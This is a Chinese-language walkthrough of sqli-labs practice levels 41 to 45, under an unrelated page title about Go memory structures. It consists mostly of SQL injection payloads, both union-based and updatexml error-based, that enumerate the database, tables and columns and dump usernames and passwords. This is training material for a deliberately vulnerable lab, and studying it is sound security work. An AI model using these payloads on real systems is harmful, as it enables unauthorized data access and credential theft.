0
点赞
收藏
分享

微信扫一扫

Golang 内存之mspan、mcache、mcentral 和 mheap 数据结构

兔八哥软件爱分享 2024-08-28 阅读 28
数据库sql

sqli-labs-master靶场第四十一关

一,查看数据库

?id=-1 union select 1,2,database()--+

二,查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

三,查看users表中列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

四,查看users表中信息

?id=-1 union select 1,2,group_concat(id,username,password) from users --+

sqli-labs-master靶场第四十二关

一,登录页面

二,查询数据库

密码框输入:'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

三,查看表名

密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --aaa

四,查看users表中列名

密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

sqli-labs-master靶场第四十三关

一,查询数据库

密码框输入:') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

二,查看表名

密码框输入:') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

三,查看users表中列名

') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

四,查看users表中信息

') union select 1,group_concat(username,password),3 from users -- aaa

sqli-labs-master靶场第四十四关

一,查询数据库

1' union select 1,database(),3 #

二,查看表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

三,查看users表中列名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

四,查看users表中信息

1' union select 1,group_concat(username,password),3 from users #

sqli-labs-master靶场第四十五关

一,查询数据库

1') union select 1,database(),3 #

二,查看表名

1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' # 

三,查看users表中列名

1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

四,查看users表中信息

1') union select 1,group_concat(username,password),3 from users#

举报

相关推荐

0 条评论